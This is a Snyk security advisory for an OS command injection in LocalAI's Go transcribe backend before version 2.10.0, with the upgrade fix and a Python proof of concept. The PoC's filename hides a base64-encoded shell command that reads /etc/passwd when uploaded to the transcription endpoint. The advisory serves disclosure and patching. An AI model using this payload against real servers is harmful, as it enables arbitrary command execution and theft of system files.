OS Command Injection Affecting github.com/go-skynet/localai/backend/go/transcribe package, versions <2.10.0


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.04% (13th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about OS Command Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-GOLANG-GITHUBCOMGOSKYNETLOCALAIBACKENDGOTRANSCRIBE-6595958
  • published11 Apr 2024
  • disclosed10 Apr 2024
  • creditOussama

Introduced: 10 Apr 2024

CVE-2024-2029  (opens in a new tab)
CWE-78  (opens in a new tab)

How to fix?

Upgrade github.com/go-skynet/LocalAI/backend/go/transcribe to version 2.10.0 or higher.

Overview

Affected versions of this package are vulnerable to OS Command Injection due to insufficient sanitization of user-supplied filenames before being passed to ffmpeg via a shell command in the audioToWav function. An attacker can execute arbitrary commands on the host system by injecting malicious commands into the filenames. This could lead to unauthorized access, data breaches, or other detrimental impacts, depending on the privileges of the process executing the code.

PoC

import requests

files = {
    'file': ('a;$(echo Y2F0IC9ldGMvcGFzc3dkCg==|base64 -d);', open('gb1.ogg','rb').read()),
    'model':(None, 'whisper'),
}


response = requests.post('http://localhost:8080/v1/audio/transcriptions', files=files)

print(response.text)

References

CVSS Base Scores

version 3.1